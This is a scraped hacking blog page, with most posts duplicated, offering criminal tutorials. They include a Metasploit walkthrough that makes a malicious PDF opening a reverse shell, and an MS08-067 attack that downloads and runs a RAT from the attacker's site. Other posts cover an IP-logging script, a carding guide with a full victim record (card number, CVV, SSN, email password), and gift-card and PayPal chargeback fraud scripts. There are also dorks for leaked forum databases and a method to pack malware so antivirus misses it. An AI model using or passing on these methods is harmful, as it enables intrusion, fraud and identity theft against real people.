Read Full Tutorial From Below Link
Showing posts with label Hacking-Tutorial. Show all posts
Showing posts with label Hacking-Tutorial. Show all posts
Hack Remote Pc Using Pdf
Hack Remote Pc Using Pdf 
Hello backtrack lover and lnxroot membre .
Hello backtrack lover and lnxroot membre .
![[Image: spj4h0.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uF0eJfRA65p8o7ECy6k84qvk2VgHOoGHdhwiw7SEvNX_mfQMMRa4OVC7bPJdLG1uaBLK3UWfPUZae1XWlt1YJtPa8pwg=s0-d)
--Adobe FlateDecode Stream Predictor 02 Integer Overflow
This module exploits integer overflow vulnerability in Adobe Reader and Adobe Acrobat Professional versions before 9.2.
Exploit Targets
0 – Adobe Reader Windows Universal (JS Heap Spray) (default)
Requirement
Attacker: Backtrack 5
Victim PC: Windows XP
Open backtrack terminal type msfconsole
Now type use exploit/windows/fileformat/adobe_flatedecode_predictor02
Msf exploit (adobe_flatedecode_predictor02)>set payload windows/meterpreter/reverse_tcp
Msf exploit (adobe_flatedecode_predictor02)>show options
Msf exploit (adobe_flatedecode_predictor02)>set lhost 192.168.1.3 (IP of Local Host)
Msf exploit (adobe_flatedecode_predictor02)>set filename attack.pdf
Msf exploit (adobe_flatedecode_predictor02)>exploit
After we successfully generate the malicious PDF, it will stored on your local computer
/root/.msf4/local/attack.pdf
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.3
exploit
Now send your attack.pdf files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer..
This module exploits integer overflow vulnerability in Adobe Reader and Adobe Acrobat Professional versions before 9.2.
Exploit Targets
0 – Adobe Reader Windows Universal (JS Heap Spray) (default)
Requirement
Attacker: Backtrack 5
Victim PC: Windows XP
Open backtrack terminal type msfconsole
Now type use exploit/windows/fileformat/adobe_flatedecode_predictor02
Msf exploit (adobe_flatedecode_predictor02)>set payload windows/meterpreter/reverse_tcp
Msf exploit (adobe_flatedecode_predictor02)>show options
Msf exploit (adobe_flatedecode_predictor02)>set lhost 192.168.1.3 (IP of Local Host)
Msf exploit (adobe_flatedecode_predictor02)>set filename attack.pdf
Msf exploit (adobe_flatedecode_predictor02)>exploit
After we successfully generate the malicious PDF, it will stored on your local computer
/root/.msf4/local/attack.pdf
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.3
exploit
Now send your attack.pdf files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer..
Get Two $20 Xbox Live Gift Cards For Free!
The things you’re going to learn are strictly for educational purposes only. I want to show you, how easy it is for people to abuse a system like this one. This is not a tutorial on pirating Microsoft gift cards, Amazon gift cards or anything like this. All digital goods I received were returned after testing this system out. By continuing to read this eBook, you agree that you will not use this guide for anything else than educational purposes. And now, let’s get started with the first step of this guide.
Step #1: Messaging Amazon Go to Amazon.com and click on “Help”, at the top of the page. After that, you should see a button on the right that says “Contact Us”. Click it and skip the login. Now put in the information as I did:
![[Image: SUHchpg.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vFuZ-rn6P7C-NoYPSGrPDq6luN59myjWfO3G1lkpaGc_EKLVIa8pHnnFltu1T8FNl0CZNGXvfVjt2jd0yE0Ze0nA=s0-d)
Now click on “Start Chatting”. In this chat, you should tell the operator that you received a $20 gift card for your birthday/Christmas/New Year and that you have trouble redeeming it. Say that you’ve never had experience with this before, too. The operator should ask whether this gift card was purchased from Amazon or in a store, in which case you’ll say on Amazon. I’m aware that most methods tell you to say the opposite, and that’s fine. After that, the operator should ask if you know the e-mail that this gift card was registered to, in which case you’ll say something along the lines of:
“Honestly, I have no clue. I got this gift from my oldest son and the e-mail I’m always writing him to is RANDOM.NAME@HERE.com. But I could be totally wrong, I apologise!”
They’ll look it up and say that they couldn’t find a gift card purchased with that e-mail, in which case you can say something along the lines of:
“Maybe it was RANDOM-NAME@HERE.com instead of RANDOM.NAME@HERE.com. I really don’t know, that’s the only e-mail I got from him, I’m very sorry [operator’s name].”
With a little bit of luck, they’ll assume that you got a gift card and that it’s legitimate, but also, that you simply don’t know the e-mail anymore and therefore cannot validate the gift card. If you’re a little unlucky, they’ll ask for the code you received, in which case you can say something like:
“I don’t know which code you’re talking about, [operator’s name]. I really have to apologise for all of this hassle. I’m just an old guy who wants to enjoy his Kindle. My son wanted to set everything up, but he had an emergency at his workplace and therefore cannot be here today, it’s hard enough for me.”
Just think of a way to decline the operator’s will to get a validation. It’ll work most of the time.
Step #2: Purchasing and doubling your Microsoft Points After the chat, you should get a promotional certificate of $20.00 USD. You will not see this anywhere, it appears right before purchasing something! Now you’re going to buy a $20 gift card from Microsoft. You might have to add a VCC (no balance needed, just get one from FakeNameGenerator). Right before paying for the product and after entering a fake billing address, you’ll see that the promotional certificate has been applied, as it’s shown in this picture right here:
![[Image: 6RRxs2O.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sv4HM5bX4OWAtYHZw0Im7ZC1taAIRlgCUAoZDefY_A8xD8vg8dmlJPfos5ngN6bOd_Z8Yzkrn_YhGL0ks1hBIKZQ=s0-d)
Just click on “Complete purchase”, and you’ll be able to look at the code in your library. You might have to wait up to 4 hours, that happened to me, but it’ll be there after a few hours, don’t worry.
After you redeemed your $20 gift card for the Xbox Live Store, simply start a chat with Amazon, telling them the code didn’t work. They’ll tell you to contact Microsoft, in which case you’ll just reply that they told you this was an issue on Amazon’s side and that they told you to contact Amazon again.
You could say something like this, which could possibly speed things up a little bit:
“I just came out of a call with Microsoft. It lasted around 25 minutes, and my issue is still not solved! I was told to contact you again, because this isn’t supposed to happen. I feel left alone and I’m very disappointed. This is something that I’m not used to at Amazon. I hope you can help solving my issue.”
Sometimes it happens that they tell you to contact Amazon by e-mail. This is basically the same thing, just by e-mail. Tell them that the ongoing transferring is very unusual and that this is something you’ve never experienced before. Also add, that you’ll make sure to buy Xbox Live gift cards somewhere else in the future, to prevent disasters like this one. If everything works out, you’ll have Amazon kissing your feet, apologising billions of times and a new code for another $20 Xbox Live gift card. Enjoy!
Step #1: Messaging Amazon Go to Amazon.com and click on “Help”, at the top of the page. After that, you should see a button on the right that says “Contact Us”. Click it and skip the login. Now put in the information as I did:
Now click on “Start Chatting”. In this chat, you should tell the operator that you received a $20 gift card for your birthday/Christmas/New Year and that you have trouble redeeming it. Say that you’ve never had experience with this before, too. The operator should ask whether this gift card was purchased from Amazon or in a store, in which case you’ll say on Amazon. I’m aware that most methods tell you to say the opposite, and that’s fine. After that, the operator should ask if you know the e-mail that this gift card was registered to, in which case you’ll say something along the lines of:
“Honestly, I have no clue. I got this gift from my oldest son and the e-mail I’m always writing him to is RANDOM.NAME@HERE.com. But I could be totally wrong, I apologise!”
They’ll look it up and say that they couldn’t find a gift card purchased with that e-mail, in which case you can say something along the lines of:
“Maybe it was RANDOM-NAME@HERE.com instead of RANDOM.NAME@HERE.com. I really don’t know, that’s the only e-mail I got from him, I’m very sorry [operator’s name].”
With a little bit of luck, they’ll assume that you got a gift card and that it’s legitimate, but also, that you simply don’t know the e-mail anymore and therefore cannot validate the gift card. If you’re a little unlucky, they’ll ask for the code you received, in which case you can say something like:
“I don’t know which code you’re talking about, [operator’s name]. I really have to apologise for all of this hassle. I’m just an old guy who wants to enjoy his Kindle. My son wanted to set everything up, but he had an emergency at his workplace and therefore cannot be here today, it’s hard enough for me.”
Just think of a way to decline the operator’s will to get a validation. It’ll work most of the time.
Step #2: Purchasing and doubling your Microsoft Points After the chat, you should get a promotional certificate of $20.00 USD. You will not see this anywhere, it appears right before purchasing something! Now you’re going to buy a $20 gift card from Microsoft. You might have to add a VCC (no balance needed, just get one from FakeNameGenerator). Right before paying for the product and after entering a fake billing address, you’ll see that the promotional certificate has been applied, as it’s shown in this picture right here:
Just click on “Complete purchase”, and you’ll be able to look at the code in your library. You might have to wait up to 4 hours, that happened to me, but it’ll be there after a few hours, don’t worry.
After you redeemed your $20 gift card for the Xbox Live Store, simply start a chat with Amazon, telling them the code didn’t work. They’ll tell you to contact Microsoft, in which case you’ll just reply that they told you this was an issue on Amazon’s side and that they told you to contact Amazon again.
You could say something like this, which could possibly speed things up a little bit:
“I just came out of a call with Microsoft. It lasted around 25 minutes, and my issue is still not solved! I was told to contact you again, because this isn’t supposed to happen. I feel left alone and I’m very disappointed. This is something that I’m not used to at Amazon. I hope you can help solving my issue.”
Sometimes it happens that they tell you to contact Amazon by e-mail. This is basically the same thing, just by e-mail. Tell them that the ongoing transferring is very unusual and that this is something you’ve never experienced before. Also add, that you’ll make sure to buy Xbox Live gift cards somewhere else in the future, to prevent disasters like this one. If everything works out, you’ll have Amazon kissing your feet, apologising billions of times and a new code for another $20 Xbox Live gift card. Enjoy!
Put Your Rat, Stealer, Keylogger, Ddoser In Your Victms Computer Using Ip Adress
Infect IP [METASPLOIT]
WE NEED:
1. Nmap
2. Metasplo
1. First we need to find victms IP.
__
a) http://www.s33.net/rec/home
b) Script for stealing IP adress:
Code:
<?
$file = "ip.txt";
$ip = $_SERVER['REMOTE_ADDR'];
$handle = fopen($file, 'a');
fwrite($handle, "IP Address: ");
fwrite($handle, "$ip");
fwrite($handle, "\n");
fclose($handle);
?>
__
2. Now we need to create database.
We open metasploit and type 'db_create' (this will create database)
If you created database before, than its enough to type 'db_connect' ...
3. Now we scan victms IP
So in metasploit type 'Nmap'
Next command is 'nmap -sT -sV <target ip>' (in '<target ip>' we type victms IP without '<>')
When scanning is done, we will have detailed description victms computer...
If we get something like this Windows 2000 (all versions XP SP1, SP2, SP3, SP4) We can without problem do the attack..
4. Exploit
In console we type 'use windows/smb/ms08_067_netapi'
(This will select windows/smb/ms08_067_netapi)
Now type 'set target 0'
Than type 'show payloads'
Than 'set payload / download_exec'
Than type 'Show options'
You will se enough of options, fill only RHOST i URL.
Type: set RHOST <target IP>
Than type 'set URL http://www.site.com/xxx.exe'
WE NEED:
1. Nmap
2. Metasplo
1. First we need to find victms IP.
__
a) http://www.s33.net/rec/home
b) Script for stealing IP adress:
Code:
<?
$file = "ip.txt";
$ip = $_SERVER['REMOTE_ADDR'];
$handle = fopen($file, 'a');
fwrite($handle, "IP Address: ");
fwrite($handle, "$ip");
fwrite($handle, "\n");
fclose($handle);
?>
__
2. Now we need to create database.
We open metasploit and type 'db_create' (this will create database)
If you created database before, than its enough to type 'db_connect' ...
3. Now we scan victms IP
So in metasploit type 'Nmap'
Next command is 'nmap -sT -sV <target ip>' (in '<target ip>' we type victms IP without '<>')
When scanning is done, we will have detailed description victms computer...
If we get something like this Windows 2000 (all versions XP SP1, SP2, SP3, SP4) We can without problem do the attack..
4. Exploit
In console we type 'use windows/smb/ms08_067_netapi'
(This will select windows/smb/ms08_067_netapi)
Now type 'set target 0'
Than type 'show payloads'
Than 'set payload / download_exec'
Than type 'Show options'
You will se enough of options, fill only RHOST i URL.
Type: set RHOST <target IP>
Than type 'set URL http://www.site.com/xxx.exe'
('http://www.site.com/ -should be your site ,
a 'xxx.exe' is name of your RAT, stiler, virus what is uploaded on your site)
(Fileave ,Or Free Web Hosting, Free Templates, Free Tutorials and More - Zymic)
AT the end we type 'exploit'
(This will run file witch you chose in step above)
(Fileave ,Or Free Web Hosting, Free Templates, Free Tutorials and More - Zymic)
AT the end we type 'exploit'
(This will run file witch you chose in step above)
Find you'r Friends IP on Skype
1. Enter website: Click Here
2. Type ID Skype (not necessary to have it in the list) will now appear all IP's entered Skype ID
i wrote in the last months, you pick up the last one there, that's the IP address him / her.
3. Succes!
Carding Tutorial For Noobs
Dont be lazy, read it all!!!
First lets start on what you need:
1. Computer, macbook, laptop, etc...
2. A virtual private network (VPN) extends a private network across a public network, such as the Internet. It enables a computer to send and receive data across shared or public networks as if it was directly connected to the private network, while benefitting from the functionality, security and management policies of the private network.[1] This is done by establishing a virtual point-to-point connection through the use of dedicated connections, encryption, or a combination of the two.
( You got a lot of free vpn software on internet, or trial)
Here is link where you can get VPN software for free or premium ones Click Here
3. RPD - Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software.
Clients exist for most versions of Microsoft Windows (including Windows Mobile), Linux, Unix, Mac OS X, iOS, Android, and other modern operating systems. RDP servers are built into Windows operating systems; an RDP server for Linux also exists. By default, the server listens on TCP port 3389.
Microsoft currently refers to their official RDP server software as Remote Desktop Services, formerly "Terminal Services". Their official client software is currently referred to as Remote Desktop Connection, formerly "Terminal Services Client"
You can connect to RPD by clicking on start menu - remote desktop connection - then type victims ip address. Example 74.7.42.89,click connect, now it will pop up screen asking for password and username which is in this case: User name: Shipping Password shipping1. Now click ok, and you will get access to Remote Desktop Connection - which means you are connected to someone computer and you will buy stuff from victims computer. Not YOURS!
4. Socks 5 SOCKet Secure (SOCKS) is an Internet protocol that routes network packets between a client and server through a proxy server. SOCKS5 additionally provides authentication so only authorized users may access a server. Practically, a SOCKS server proxies TCP connections to an arbitrary IP address, and provides a means for UDP packets to be forwarded. SOCKS performs at Layer 5 of the OSI model (the ******* layer, an intermediate layer between the presentation layer and the transport layer).
You can get socks for free Click Here or you can buy fresh witch i reccomend Click Here
How to use socks5? Example of socks4/socks5 are 75.119.127.189:36871
Socks5 are very easy to use via Mozilla Firefox. First open Mozilla Firefox, next step
is firefox - options - advanced - network - connections - settings. Now the screen will pop up varius options like : 1. No proxy; 2.Auto Detect; 3.Use system proxy; 4. Manual proxy configuration. You mark 4. Manual proxy configuration. Now type in socks host IP you have, example Socks Host: 75.119.127.189 Port: 1080. Press ok and you are connected to secure socks5. Will explain more when we start carding.
5. Victims credit card, you can get a lot of free credit cards here on ABH, or you can buy one from variuos cvv shops that can be find on internet. Example off victims credit card:
First Name : harvey
Middle Name : james
Last Name : menehan
Spouse Name :
Father Name :
Billing Address : 9006 peppertree circle
City : wichita
State : KS
Zip Code : 67226
Country : US
Phone Number : 3166342050
Credit Card Information :
*********
Card Type : Credit
Credit Card Number : 5102 4129 0001 1332
Exp. Date : 6/June / 2012
Name On Card : H. James Menehan
Cvv2 : 474
Mother Maiden Name : penny
Social Security Number : 515 16 4160
Birth Day : 28
Birth Month : 02
Birth Year : 1926
Account Information :
*******
AOL ID : hjimdoc@aol.com
Password : Jm6227mh
Note: This is only example off victims credit card, you dont need all this information to card like DOB (date of birth) SSN (social security number) etc. Some sites ask only for card numbers, exp date and cvv2.
Now that you have all this above, lets start carding
Lets say we want free phone like Samsung S4, IPHONE 5, Sony Z etc...
First of all i want to recommend a website shop from your country. Why? Because you dont need to wait a lot for you package. In my country they delliver in 2 days, most 3 days. I am sure there is a lot of cell phones shops in any country. Use google and find it.
There is two types of shops, VBV and NON VBV:
VBV is a Verified by Visa, an online security system for credit card transactions. Which means you need to provide a card knowing a lot of victim credit card information such as DOB (date of birth), SSN (social security numbers), Secure password witch cc owner use for online purchase. You can check on shop is there a VBV VERIFIED BY VISA ICON on home page.
NON VBV is not verifired by visa card, you can buy anything with non vbv cards without going thru 3d verification process.
We leave now this for later.
1. Connect to your vpn software and chose ip - country you want.
2. Connect to RPD ( Remote Destkop connection), must be same country (IP), state as card holder Address. Do not forget that.
3. Now from your RPD, connect to socks5 via mozzila firefox, example 97.77.96.226 34539 United States, MUST BE SAME ASS CARD HOLDER: COUNTRY, STATE, CITY!
4. When you done all that, create email with same name as credit card holder name, same address, same city, and everything. Or if you got email access thats whould be a lot better .
5. Go to your website shop you want to card. ( dont be lazy and find a good yours private shop from your country or any other that ships worldwide).
6. Register with credit card holder information, name, country, city, address, and email you made one just for this ORDER.
7. Add a shipping address, some sites dont allow to ship to diffrent address but there is planty of shops witch do. Shipping address is where package will be dellivered. Which means you provide your address, girlfriend address, friend address, to your drop etc.
8. Select product you want, and click on check out, now it will ask for you know, how you will pay. Choose credit card, and type victims credit card numbers and other information needed.
9. Click order now, and i am sure 100000000000% they will confirm your order via email or you will get track your order on website, after pressing order.
(note that some sites need phone verification, but you can always buy phone number, confirm your order, and destroy it after they ship your item) its how i do it.
10. Wait for order to arrive to your shipping address, I personally use FEDEX, EURO EXPRESS, CITY EXPRESS. When they arrive they call me, and i can say difrent
adress where i want to pick up my order. Sign in with fake name you provided and run xDDDDDDDDD. Just joking. Be a calm down like you just stole 100 MILION US DOLLARS and take the package. Use item for you self or sell it, and then reapeat till you die!!!
GOOD LUCK IN EASY CARDING!
First lets start on what you need:
1. Computer, macbook, laptop, etc...
2. A virtual private network (VPN) extends a private network across a public network, such as the Internet. It enables a computer to send and receive data across shared or public networks as if it was directly connected to the private network, while benefitting from the functionality, security and management policies of the private network.[1] This is done by establishing a virtual point-to-point connection through the use of dedicated connections, encryption, or a combination of the two.
( You got a lot of free vpn software on internet, or trial)
Here is link where you can get VPN software for free or premium ones Click Here
3. RPD - Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software.
Clients exist for most versions of Microsoft Windows (including Windows Mobile), Linux, Unix, Mac OS X, iOS, Android, and other modern operating systems. RDP servers are built into Windows operating systems; an RDP server for Linux also exists. By default, the server listens on TCP port 3389.
Microsoft currently refers to their official RDP server software as Remote Desktop Services, formerly "Terminal Services". Their official client software is currently referred to as Remote Desktop Connection, formerly "Terminal Services Client"
You can connect to RPD by clicking on start menu - remote desktop connection - then type victims ip address. Example 74.7.42.89,click connect, now it will pop up screen asking for password and username which is in this case: User name: Shipping Password shipping1. Now click ok, and you will get access to Remote Desktop Connection - which means you are connected to someone computer and you will buy stuff from victims computer. Not YOURS!
4. Socks 5 SOCKet Secure (SOCKS) is an Internet protocol that routes network packets between a client and server through a proxy server. SOCKS5 additionally provides authentication so only authorized users may access a server. Practically, a SOCKS server proxies TCP connections to an arbitrary IP address, and provides a means for UDP packets to be forwarded. SOCKS performs at Layer 5 of the OSI model (the ******* layer, an intermediate layer between the presentation layer and the transport layer).
You can get socks for free Click Here or you can buy fresh witch i reccomend Click Here
How to use socks5? Example of socks4/socks5 are 75.119.127.189:36871
Socks5 are very easy to use via Mozilla Firefox. First open Mozilla Firefox, next step
is firefox - options - advanced - network - connections - settings. Now the screen will pop up varius options like : 1. No proxy; 2.Auto Detect; 3.Use system proxy; 4. Manual proxy configuration. You mark 4. Manual proxy configuration. Now type in socks host IP you have, example Socks Host: 75.119.127.189 Port: 1080. Press ok and you are connected to secure socks5. Will explain more when we start carding.
5. Victims credit card, you can get a lot of free credit cards here on ABH, or you can buy one from variuos cvv shops that can be find on internet. Example off victims credit card:
First Name : harvey
Middle Name : james
Last Name : menehan
Spouse Name :
Father Name :
Billing Address : 9006 peppertree circle
City : wichita
State : KS
Zip Code : 67226
Country : US
Phone Number : 3166342050
Credit Card Information :
*********
Card Type : Credit
Credit Card Number : 5102 4129 0001 1332
Exp. Date : 6/June / 2012
Name On Card : H. James Menehan
Cvv2 : 474
Mother Maiden Name : penny
Social Security Number : 515 16 4160
Birth Day : 28
Birth Month : 02
Birth Year : 1926
Account Information :
*******
AOL ID : hjimdoc@aol.com
Password : Jm6227mh
Note: This is only example off victims credit card, you dont need all this information to card like DOB (date of birth) SSN (social security number) etc. Some sites ask only for card numbers, exp date and cvv2.
Now that you have all this above, lets start carding
Lets say we want free phone like Samsung S4, IPHONE 5, Sony Z etc...
First of all i want to recommend a website shop from your country. Why? Because you dont need to wait a lot for you package. In my country they delliver in 2 days, most 3 days. I am sure there is a lot of cell phones shops in any country. Use google and find it.
There is two types of shops, VBV and NON VBV:
VBV is a Verified by Visa, an online security system for credit card transactions. Which means you need to provide a card knowing a lot of victim credit card information such as DOB (date of birth), SSN (social security numbers), Secure password witch cc owner use for online purchase. You can check on shop is there a VBV VERIFIED BY VISA ICON on home page.
NON VBV is not verifired by visa card, you can buy anything with non vbv cards without going thru 3d verification process.
We leave now this for later.
1. Connect to your vpn software and chose ip - country you want.
2. Connect to RPD ( Remote Destkop connection), must be same country (IP), state as card holder Address. Do not forget that.
3. Now from your RPD, connect to socks5 via mozzila firefox, example 97.77.96.226 34539 United States, MUST BE SAME ASS CARD HOLDER: COUNTRY, STATE, CITY!
4. When you done all that, create email with same name as credit card holder name, same address, same city, and everything. Or if you got email access thats whould be a lot better .
5. Go to your website shop you want to card. ( dont be lazy and find a good yours private shop from your country or any other that ships worldwide).
6. Register with credit card holder information, name, country, city, address, and email you made one just for this ORDER.
7. Add a shipping address, some sites dont allow to ship to diffrent address but there is planty of shops witch do. Shipping address is where package will be dellivered. Which means you provide your address, girlfriend address, friend address, to your drop etc.
8. Select product you want, and click on check out, now it will ask for you know, how you will pay. Choose credit card, and type victims credit card numbers and other information needed.
9. Click order now, and i am sure 100000000000% they will confirm your order via email or you will get track your order on website, after pressing order.
(note that some sites need phone verification, but you can always buy phone number, confirm your order, and destroy it after they ship your item) its how i do it.
10. Wait for order to arrive to your shipping address, I personally use FEDEX, EURO EXPRESS, CITY EXPRESS. When they arrive they call me, and i can say difrent
adress where i want to pick up my order. Sign in with fake name you provided and run xDDDDDDDDD. Just joking. Be a calm down like you just stole 100 MILION US DOLLARS and take the package. Use item for you self or sell it, and then reapeat till you die!!!
GOOD LUCK IN EASY CARDING!
PayPal: Duplicate Your Money ( Leaked From Blackhat )
So I have always theorized a way to duplicate PayPal money, i'm not sure if this has been shared, but I figured I'd share how you can do it it for the hey hell why not of it.
Requirements three paypals (Make sure they're not going to get limited the second they receive some money -.-)
A good VPN
A legit paypal with Money to duplicate.
Step 1. Make 2 PayPals under a VPN (Or just one if you have a friend you want to experiment with. YOUR FRIEND MUST HAVE A DIFFERENT IP).
Let's pretend you have a friend who has a PayPal, instead of making two paypals.
Step 2. After making the VPN PayPal, take the money from your real (NON VPN) account and send it over to the VPN PayPal, like you're buying something like a product.
Step 3. Go onto the VPN account and send over the funds to your Friend's paypal.
Step 4. If all of that is successful, wait about a day or two, and open up a case on your main account (You need to wait so that it at least looks legit) against the VPN account, like you've been "Scammed", write up some bullshit story on how you got scammed.
Step 5. Go onto your VPN account, and accept the chargeback.
Step 6. Now, the VPN account will have a negative balance, but both you, and your friend's paypal (Or your second paypal, that you also made under a VPN) will have the same amount of money.
Thus your money has been duplicated, please don't abuse this, if you're going to do this, hide your ass to avoid all risk.
Requirements three paypals (Make sure they're not going to get limited the second they receive some money -.-)
A good VPN
A legit paypal with Money to duplicate.
Step 1. Make 2 PayPals under a VPN (Or just one if you have a friend you want to experiment with. YOUR FRIEND MUST HAVE A DIFFERENT IP).
Let's pretend you have a friend who has a PayPal, instead of making two paypals.
Step 2. After making the VPN PayPal, take the money from your real (NON VPN) account and send it over to the VPN PayPal, like you're buying something like a product.
Step 3. Go onto the VPN account and send over the funds to your Friend's paypal.
Step 4. If all of that is successful, wait about a day or two, and open up a case on your main account (You need to wait so that it at least looks legit) against the VPN account, like you've been "Scammed", write up some bullshit story on how you got scammed.
Step 5. Go onto your VPN account, and accept the chargeback.
Step 6. Now, the VPN account will have a negative balance, but both you, and your friend's paypal (Or your second paypal, that you also made under a VPN) will have the same amount of money.
Thus your money has been duplicated, please don't abuse this, if you're going to do this, hide your ass to avoid all risk.
VBulletin Forum Backup Exploit [Hack Forum Database And Deface] [HOT]
Enjoy The Exploit Guys !
NOTE : I m not the author of this exploit .. I m just sharing with ABH users
# Exploit Title: Vbulletin Forum Backup Exploit
# Google Dork: allinurl:forumbackup
allinurl:forumbackup.sql
# Date: 14/9/2012
# Exploit Author: BeNji
# Vendor Homepage: Hacking & Web Security Forum - BiT'S HACK
Software Link: Home page
# Version: All Versions
# Tested on: http://www.eyehorn.com
# CVE : [if one exists, or other VDB reference]
This is a simple vbulletin forum exploit !
With the help of this vulnerability you can hack database of vbulletin forums
Here is the instruction for exploit :
1- Go the google.com and search for this dork
DoRKS :
allinurl:forumbackup
allinurl:forumbackup.sql
2- Find the vulnerability links which looks like :
/wppublic/forumbackup/
/forum/Forumbackup/
/forums/Forumbackup/
/main/Forumbackup/
3 - Here Is the example URL for your demo : http://www.eyehorn.com/wppublic/forumbac...les%29.sql
4 - Open The Database And Check for 1st User Name and Pas
5 - Get The user name and crack the hash ! Thats All
Now to go the forum and login with Admin user name and password and deface the forum
NOTE : I m not the author of this exploit .. I m just sharing with ABH users
# Exploit Title: Vbulletin Forum Backup Exploit
# Google Dork: allinurl:forumbackup
allinurl:forumbackup.sql
# Date: 14/9/2012
# Exploit Author: BeNji
# Vendor Homepage: Hacking & Web Security Forum - BiT'S HACK
Software Link: Home page
# Version: All Versions
# Tested on: http://www.eyehorn.com
# CVE : [if one exists, or other VDB reference]
This is a simple vbulletin forum exploit !
With the help of this vulnerability you can hack database of vbulletin forums
Here is the instruction for exploit :
1- Go the google.com and search for this dork
DoRKS :
allinurl:forumbackup
allinurl:forumbackup.sql
2- Find the vulnerability links which looks like :
/wppublic/forumbackup/
/forum/Forumbackup/
/forums/Forumbackup/
/main/Forumbackup/
3 - Here Is the example URL for your demo : http://www.eyehorn.com/wppublic/forumbac...les%29.sql
4 - Open The Database And Check for 1st User Name and Pas
5 - Get The user name and crack the hash ! Thats All
Now to go the forum and login with Admin user name and password and deface the forum
Make Your Server FUD Without Any Crypter
Hi guy's today I am gonna show you how to make your server FUD without any paid/free Crypter or any kind of Hex editing. You might have tried using many crypter's (I had also) but they are mostly backdoored. And you get infected at the end of the day. Now lets talk about Hex editing this is very time consuming process and yet you might end up corrupting your server/Trojan. So here is a great idea for you takes about a few minute's so lets start.
Thing's You Would Need :
A) Winrar
B) Your Server
So let's do it guys:
1) Right Click on your server and click on Add to achieve.
2) Now select the options as done in the below image.
3) Now open Advanced tab and click on SFX options..
4) Now in Advanced SFX options select Setup.
5) Now move to next tab and select Modules.
6) Now move to Update tab.
7) And click on OK and then click on Set password.. then type your a password there but remember that we will need. And click on OK here strenght of password does not matter.
8) And click on OK and it will be achieved. Now open notepad and type there
file.sfx.exe -p123456 -d%temp%
replace file.sfx.exe with your file name, 123456 by your password and save it as en.bat
9) Now select both the file's and click on Add to achieve.. Now repeat from Step 2 to Step 6 and in step 4 make some changes a done in the image
10) Now Clock On OK And Built Your Archive. Now Lets Test It Guys.
Legal Disclaimer : This tutorial is only for educational purpose only any misuse for any misuse of this the author will not be held responsible
Note : This process only make your server scan time FUD not run time
Thing's You Would Need :
A) Winrar
B) Your Server
So let's do it guys:
1) Right Click on your server and click on Add to achieve.
2) Now select the options as done in the below image.
3) Now open Advanced tab and click on SFX options..
4) Now in Advanced SFX options select Setup.
5) Now move to next tab and select Modules.
6) Now move to Update tab.
7) And click on OK and then click on Set password.. then type your a password there but remember that we will need. And click on OK here strenght of password does not matter.
8) And click on OK and it will be achieved. Now open notepad and type there
file.sfx.exe -p123456 -d%temp%
replace file.sfx.exe with your file name, 123456 by your password and save it as en.bat
9) Now select both the file's and click on Add to achieve.. Now repeat from Step 2 to Step 6 and in step 4 make some changes a done in the image
10) Now Clock On OK And Built Your Archive. Now Lets Test It Guys.
Legal Disclaimer : This tutorial is only for educational purpose only any misuse for any misuse of this the author will not be held responsible
Note : This process only make your server scan time FUD not run time